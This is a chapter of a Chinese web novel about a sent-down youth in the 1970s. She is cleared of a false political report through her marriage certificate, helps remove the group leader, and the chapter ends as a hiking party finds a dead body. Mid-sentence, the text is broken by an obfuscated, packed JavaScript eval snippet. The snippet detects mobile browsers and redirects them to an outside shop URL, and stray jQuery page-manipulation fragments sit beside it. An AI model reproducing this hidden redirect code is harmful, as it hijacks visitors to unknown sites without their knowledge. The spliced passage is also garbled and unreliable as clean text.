文趣网 > 其他小说 > 七零美人错嫁年代糙汉大佬 > 55. 第55章举报、死人
    窗外,不知何时下起了雨,淅淅沥沥的。

    可能是下雨前刮了风,敞开的窗户被风吹掩上,屋内闷热得像蒸笼。

    梁燊猛地睁开眼。

    梦里的雨声与现实的雨声重叠,一时间令他无法回过神。

    他抹了把头上的汗,坐起身,大口大口喘了会气,光脚下床去开窗。

    窗户拉开的瞬间,夜雨的凉气直扑上来,伴着些许潮气。

    他闭上眼睛,浑身过电一样打了个摆子。下半身似乎有异样,裤子黏黏糊糊贴在腿上,他低头看了眼,愣住。

    抓着窗棱的手指紧了紧,片刻后,他冒雨走进院子。

    天快亮了,入目不再是浓黑,而是灰蓝,微微眯上眼睛,能看到斜斜的雨丝。

    梁奶奶已经起来喝完了茶,掀开门帘,正琢磨着要不要穿过雨去厨房,突然间,孙儿的房门开了,高大的身影赤着上半身,大步走到水井旁。

    “……”她想喊他,声音还没从喉咙里发出来,先看清了他手上拿的东西——一条裤衩。

    天不亮就跑出来洗裤衩本就是奇怪行为,更不要说,此刻孙子的神情动作,摔摔打打,似乎在懊恼什么。

    她抿唇,若有所思。

    丝毫不惧连绵雨丝拍在精壮后背,梁燊弯着腰动作大开大合地搓洗,转头往铁丝上晾的时候,一抬眼,祖孙俩四目相对。

    “……”

    梁奶奶摇摇头,索性走了出来:“你快进屋去擦一擦,我去煮个热汤,等下你过来喝。”

    “不喝了。”梁燊声音虚高,迈大步子进屋,“我换个衣服就走了。”

    他知道,奶奶绝不会取笑自己,可羞臊依旧充斥在胸口,没多大时间,他换好衣服套上雨衣,再次走出屋,脚步不停地穿过院子,出了大门。

    昨天,领完结婚证他赶着去上班,没太多时间跟她相处,昨晚半夜回来,他是打算天亮后,去知青所找她,给她看镜框的。

    哪知……

    梦里的那些画面时不时钻进他的脑海,指尖的触感,唇齿之下的柔软,统统清晰地像是真的发生过,什么感觉甚至都一清二楚。

    梁燊一边羞愧于自己太不正人君子,累极了不睡个安稳觉,竟然会做那样强势不讲理的梦,一边又忍不住回想,细细咂摸梦里的所有细节。

    就这么一路闷头快走,走出村子,走在去公社的路上。

    邻村的鸡叫声响起,雨越来越小,天也近亮了。

    他脚步慢下来,后知后觉意识到,还没跟奶奶说领了结婚证,更没把口袋里昨天找人私底下买的那个银镯子给她,作为领结婚证的喜庆礼物。

    想到她,脑海中那个过于娇艳,被他欺负得满眼泪水的影子跳了出来。

    他羞臊得脸又红起来,索性不再纠结,大迈步继续往前走。

    今天先不去找她了,好好干一天工作。他心想。

    与此同时,等雨小了,走到厨房做葱花饼的梁奶奶,也后知后觉反应过来:“昨夜回来的时候还说,今早要睡个懒觉呢,这就走了。”

    “奶奶,你说什么?”梁淼打着哈欠,走进厨房。

    梁奶奶锅铲翻动,利落地将香气扑鼻的葱花饼铲进碟子里:“没什么。”

    -

    下了雨,知青所众人理所当然地睡了个懒觉。

    等到九点,雨彻底停了,大家脸上一片可惜。

    “要是一整天都下雨就好了,下一天雨,今天就不用上工了。”

    正说着,队长来了,他身后还跟着两个穿干部服的陌生人,一男一女,表情相当严肃。

    夏晴晴浅笑着上前,想问队长是不是有什么安排,队长先开了口:“夏知青,这两位是公社知青办的工作人员,因为收到与你有关的举报材料,今天冒雨前来,专程调查核实。”

    刚还嬉笑的众人,表情皆变,齐刷刷陷入了沉默。

    余桃花第一时间转头,看向了王招萍,替夏晴晴捏了把冷汗。

    夏晴晴短暂的错愕后,又恢复了浅笑,看向两位工作人员,没有丝毫慌乱:“下着雨地湿路滑的,真是给你们添麻烦了。没问题,我配合所有调查。”

    原本,队长还悬着一颗心,担心夏晴晴是不是真有什么把柄被人抓到了,眼下看她坦荡从容,可是松了口气。

    “那就先从你的行李查起吧。”男工作人员开口,他负责把所有人叫到一起,不允许大家乱走动,女工作人员则叫上夏晴晴进了屋,准备搜查。

    “这是你的皮箱?打开。”

    “还有哪些东西是你的?”

    方锦莹被迫站在院子里,听着屋内冷冰冰质问的声音,紧张得胸口胡乱跳动,又想到夏晴晴已经拿去梁家的铁盒,暗暗庆幸。

    时间一分一秒过去,突然,女工作人员走出门,把王招萍叫了进去。

    新的对话声传出来。

    “你的举报信上不是写,她箱子里有来路不明,涉及投机倒把的东西吗?”

    “是啊,好几次她偷偷摸摸看,我都看见了。”

    “你看见了什么?具体点,什么东西,长什么样?”

    “这……”

    站在院子里的知青们一片哗然。

    除了早就知道的余桃花和方锦莹,其他人神态各异,尤其是老好人魏金华,她近来看女知青们以夏晴晴为核心,都不怎么搭理王招萍,好几次看不下去,主动和王招萍说话。

    万万没想到,王招萍居然做出举报这种事。

    几年前,为了自保,为了报复,为了站队,举报揭发之风盛行,可这两年,事态缓和,大家也渐渐开始和平相处,很少有人再在私底下搞小动作。

    魏金华还发着愣,女工作人员走了出来,看着男工作人员,摇了摇头:“没发现什么问题。”

    “那问另一件事。”男工作人员犀利的目光转向王招萍,“她的信上不是写了,这位知青搞不正当男女关系,生活作风败坏吗。事实和证据呢?”

    男女知青被一个个单独盘问,夏晴晴是否有作风问题,以及具体的男女关系。

    作为同一个知青所的知青,且不说夏晴晴身正不怕影子斜,就凭她平日里跟大家的相处,知青们也都是极尽所能地说好话,立证她的清白。

    除了一个人,黑兵,他眼中闪着报复的光。

    “她跟生产队的梁燊,还没结婚就拉拉扯扯,经常单独相处。”

    “昨天中午,他们俩不知道去哪儿了,一中午都不在。”

    “梁燊的家庭成分有问题,我怀疑是他勾引诱哄女知青,夏晴晴也只是被蒙骗了。”

    在这个时代,这已经是相当严重的指控。

    工作人员立即询问夏晴晴,要求她解释和梁燊的关系,具体到昨天中午,去了哪儿,说了什么,做了什么,有没有证人证明。

    夏晴晴深深吸气,呼气,她总算明白了,为什么提起这个时代,人们对于举报揭发会如此恐惧,看看眼前就知道了,完完全全审犯人的模式。

    她镇定回答:“我跟梁燊昨天去公社领了结婚证,出发之前,找队长开了婚姻状况介绍信。结婚证在梁燊那里。”

    工作人员听她这么说,明显有片刻的怔忪。

    已经领证了?那说什么不正当男女关系?

    接下来便是核实,队长站出来,证明夏晴晴和梁燊从刚开始谈对象,就已经向组织报备,为了革命队伍的纯洁,为了道德风尚,选择尽快结婚。

    方锦莹则跑去梁家要结婚证,不一会儿,带着裱在镜框里的结婚证气喘吁吁跑回来。

    至此,一切水落石出,真相大白。

    黑兵看到夏晴晴和梁燊的结婚证明,满眼的不敢相信,往后退了好几步,腿脚发软。

    没有从夏晴晴的皮箱搜出任何可疑物品的那一刻,王招萍的脸就开始发白,眼下最后一丝希望破灭,她肩膀耷拉着,后背弓起,头都不敢抬。

    女工作人员走到王招萍面前,严肃道:“你没有任何证据,捕风捉影,害我们白跑一趟,虽说是警惕性过高却缺乏调查,不算恶意诬告,但也破坏了团结,对好同志造成了恶劣影响。”

    “我错了,是我主观臆断了,是我误会了,我向夏晴晴同志道歉!”王招萍见情势不对,立马改口,边哭边一个劲向夏晴晴鞠躬。

    她这个样子,搞得所有人表情都怪怪的,无语又嫌弃。

    调查结束,队长送公社知青办的工作人员离开,所有人都在原地站着发愣,对这一场带着浓烈政治色彩的举报事件心有余悸。

    王招萍已经哭成了泪人,明明是她引起的,她却表现得好像受害者一样。

    夏晴晴眼神淡淡扫过王招萍,径直走到了垂头丧气的黑兵面前。

    黑兵猛地朝夏晴晴看去。

    夏晴晴黑眸冷冽地看着黑兵,话却是对所有人说的:“我认为,黑兵没有能力,也没有德行当我们知青小组的组长,我们应该重新选一个人,来带领大家建设农村,更好地发展知青力量。”

    “我同意!”方锦莹咬着牙,喊出声。

    她走过去,与夏晴晴肩并肩,狠狠剜了一眼黑兵。

    刘建国第二个举手:“我也同意。”

    有人带头,剩下的人立马都举起了手。

    在场唯三没举手的:王招萍、张小正、黑兵自己。

    黑兵梗着脖子,满脸恼火,可视线挨个扫过去,每一个人看着他的眼神,都是失望、不解、反感,他心里一个咯噔,一张脸唰地涨红到了耳根。

    “不当就不当,以为这种苦差事,谁稀罕当似的!”恼羞成怒的他,重重撂下一句,闷头进了屋。

    方锦莹气得不行:“他还有理了?怎么这些人脸皮这么厚啊,自己不要脸,还好意思生气,好意思哭?”

    好意思哭是在说谁,大家心知肚明。

    队长很快又回来了,大张旗鼓这一遭,显然对他来说也是一场煎熬,他连连叹了几口气,也顾不上多余的,当众安慰夏晴晴:“放心吧,没事了。”

    又听夏晴晴已经带头罢免了黑兵的小组长,队长索性道:“暂时就由你来当吧,等你从知青所搬出去后,男知青这边交给刘建国,女知青这边交给魏金华。”

    知青们一致说好。

    发生了这种人心浮动的事情,队长宣布,让知青所的众人休息一天,反正线麻也马上弄完了,知青们休息一天也没什么影响。

    夏晴晴立马问:“那明天,我们上山捕猎吗?”

    队长犹豫了下,看着受了委屈的夏晴晴,应了:“行吧。”

    “谢谢队长,这会儿也快吃中午饭了,今天早上这麻烦事,让你也跟着受累。等吃完午饭,下午我去庙里帮忙干活。”夏晴晴主动道。

    队长愿意迁就她的提议,她自然得回报。

    刘建国眼睛一直看着夏晴晴,闻言立马响应:“我也去。”

    其他人也纷纷道:“我们也去。”

    沉重了一上午的气氛,这会儿才轻松起来,队长笑道:“想来的都来,但是提前告诉你们,没有工分,属于义务劳动。”

    中午吃饭,王招萍没出现,黑兵和张小正坐在一起,不跟任何人说话。

    吃晚饭,夏晴晴收拾被弄得一团乱的皮箱,魏金华走了过来,面露愧疚道:“晴晴,对不起啊,我没想到,王招萍能做出举报这种事。”

    都是一个知青所的同伴,多大仇多大怨,要致对方于死地。

    但凡从夏晴晴的皮箱里搜出一个说不清来路的东西或者信件,亦或是夏晴晴和梁燊还没领结婚证,今天这场举报风波,都不会这么平稳度过。

    “怎么突然给我道歉?”夏晴晴笑起来,“你又没做错什么。”

    魏金华抿了抿唇。

    她能感觉到,在她和方锦莹之间,夏晴晴跟方锦莹更亲近,之前她觉得,是因为她没方锦莹会撒娇,为人也更正直。

    现在再看,似乎,并不是那样。

    夏晴晴叠好衣服

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674485|202756||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,合上皮箱,依旧是浅笑着,对着魏金华开口:“别胡思乱想了,过去的事已经过去,咱们把更多的时间和心思,放在未来。”

    “嗯!”

    魏金华还想说什么,方锦莹走了进来,夏晴晴立马迎了上去,俩人说说笑笑,去外面了。

    看到这一幕,魏金华愣了愣,苦笑了下。

    夏晴晴抱着玻璃镜框,和方锦莹一起去梁家。

    方锦莹好奇问:“刚才,你跟魏金华说什么呢?”

    夏晴晴原封不动说了,方锦莹沉默片刻,才道:“其实,魏金华人很好的,性格也好,可就是太老好人了,跟她做朋友,有时候感觉挺无奈的。”

    “是。能做朋友,但是,做不了好朋友。”夏晴晴说出了心里话。

    好朋友是偏爱,是信任,是对那些伤害朋友的人零容忍。

    她不想在这件事上过多内耗,反正等高考恢复,大家都会各奔前程,淡淡笑了下,道:“就这样吧。”

    梁家。

    梁奶奶担心极了,在巷子口徘徊。

    远远看到夏晴晴身影出现,她连忙迈着小脚走上前去。

    “奶奶!”夏晴晴一路小跑,喘着粗气握住了梁奶奶的手。

    “好孩子,没事吧?”梁奶奶上下左右看,检查夏晴晴有没有受伤,或者是别的状况。

    夏晴晴心里暖暖的,握紧了梁奶奶粗糙的大手:“当然没事了,只是知青办的人来核查我们的婚姻状况,我一时走不开,所以才让方锦莹来找您拿。”

    方锦莹挠挠头,很是不好意思,她前面太慌张了,完全没考虑自己那样慌里慌张的模样,会给老人家造成多大的心理阴影。

    “奶奶,真没事了,要是有什么事,我能这么笑着跟您说话吗?”夏晴晴挽上梁奶奶。

    梁奶奶悬着的一颗心,这才落回了胸腔。

    她拍拍夏晴晴的手背:“进屋,我做了冰豆花,你们都吃一碗。”

    进到屋里,夏晴晴又安抚了一会梁淼,小丫头不明白发生了什么事,但也有点吓到了。

    四人围坐在桌前,夏晴晴看着面前雪白的像棉絮一样的冰豆花,食指大动。

    勺子沿着碗边,轻轻一刮,嫩豆花颤悠悠晃了晃,连带上浇在上面琥珀色的红糖汁子,也跟着摇出漂亮的小波澜。

    夏晴晴剜一勺,送进嘴里,入口即化,清甜豆香混着甜而醇的红糖味,带着丝丝清凉,一口下去,暑气散了大半。

    梁淼吃得慢,大部分时间都抱着镜框,看着里面的结婚证书自顾自笑。

    看得出来,是真开心,发自内心的笑容,引得其他人也跟着笑起来。

    梁奶奶这才说:“小方来找我要结婚证明,我当时都愣了,什么结婚证明,赶紧去燊子房间看,还在他换下来的衣服里找呢,结果一抬头,这镜框就放在他床头。”

    “哥哥肯定是爱不释手,夜里都抱着睡呢。”梁淼天真烂漫地冒出一句。

    夏晴晴脸倏地红了,情不自禁想到那个画面,太傻,可又觉得,像是梁燊会做出来的事。

    待了一个小时,俩人就离开了,梁奶奶又要给知青所的众人装美食,夏晴晴这次拒绝了,她不想梁奶奶太辛苦。

    夏晴晴这边发生了这么大的事,梁燊一无所知,并且,当天晚上他没回家。

    梁奶奶半夜起来好几次,看着空荡荡的大门,气得捶腿:“平日里不让回都急吼吼回来呢,今天等你回来呢,又不来了!有多忙嘛!”

    梁奶奶不知道的是,梁燊没回来,倒不是因为夜里都在忙,而是因为他去了县城,找人托关系,去给夏晴晴买自行车了。

    -

    次日一早,队里的工作安排完,队长带着知青所的众人,背着背篓,拿着工具,上山。

    连绵起伏的山脉,一眼望不到头,土坡一层叠着一层,目之所及处,土的颜色呈深浅不一的土黄色、褐色,还有些被阳光以某种角度照射的地方,显出金闪闪的黄。

    大部分地方都光秃秃的,山与山的沟壑、崖边长着大片的沙棘,往上走的路上左右两边,则是一丛又一丛的芨芨草、冰草,还有灰绿色的苦蒿。

    方锦莹忍不住感慨:“在山下的时候,看着上面光秃秃的,没想到上来一看,竟然也长着挺多植物的。”

    “是因为风沙太大,植物上都落了沙尘,所以远看的时候,和黄土连成一片了吧。”夏晴晴笑道。

    “感觉挺特别的。”老家在湘西的李爱没见过这种山,土山连着土山,像一片土形成的海。

    她琢磨了一会,说道:“眼前的景色,让我想到一个词。苍茫大地。”

    这个年代的知识青年,就没有不会背主席的诗的,李爱一起头,大家纷纷一句接一句,极有感情地背诵起来。

    “独立寒秋,湘江北去,橘子洲头!”

    “怅寥廓,问苍茫大地,谁主沉浮?”

    “恰同学少年,风华正茂!”

    “书生意气,挥斥方遒!”

    队长上山之前挺郁闷无聊的,打心眼里觉得,这是在陪着年轻娃娃们玩过家家。

    但这会儿,听着他们你一句我一句大声背诵主席的诗,平日里萎靡不振,看上去弱不禁风的知识青年,这一刻意气风发,神采飞扬,也挺受震撼的。

    沿着山路走了差不多一个多小时,已经出了本公社的位置,打眼往下瞧,能看到其他大队和公社。

    众人停下来休息,跟上来时一样,搜查山洞和所有看起来能藏猎物的地方。

    队长也走累了,坐在石头上休息。

    男知青们找到了新的乐趣,所有精力迸发出来,抢着要做第一个搜到猎物的人。

    突然,一串尖叫声响起。

    队长腾一下站起来,所有人都停下手中的动作,朝着叫声的位置看去。

    片刻后,刘建国跑过来,看了眼紧张的女知青们,捏了捏拳头,还是说了。

    “队长,那边的山洞里,有死人。”